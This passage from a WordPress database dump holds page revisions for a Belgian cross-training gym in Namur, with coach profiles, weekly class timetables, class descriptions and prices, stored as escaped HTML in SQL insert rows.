style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-24 08:41:15', '2013-11-24 08:41:15', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(406, 1, '2014-12-15 19:47:31', '2014-12-15 19:47:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\nNamur\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\n\n&amp;nbsp;\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot;/&gt;&lt;/center&gt;&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&amp;nbsp;\n\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\n\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\n\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\n\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\n\n&amp;nbsp;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nEntrainements à deux personnes sous la supervision d’un coach.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nUn coach par personne, l’idéal pour progresser plus rapidement!\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nRendez-vous avec une diététicienne pour améliorer votre santé.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\n30 min : 35.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\n30 min : 20.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\n1 carte de 10 séances : 90.00€ (valable 6 mois)\n1 carte de 20 séances : 150.00€ (valable 6 mois)\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-autosave-v1', '', '', '2014-12-15 19:47:31', '2014-12-15 19:47:31', '', 363, 'http://www.crosstrainingcenter.be/363-autosave-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(407, 1, '2014-01-18 18:52:33', '2014-01-18 18:52:33', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 18:52:33', '2014-01-18 18:52:33', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(408, 1, '2014-01-18 18:55:39', '2014-01-18 18:55:39', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td 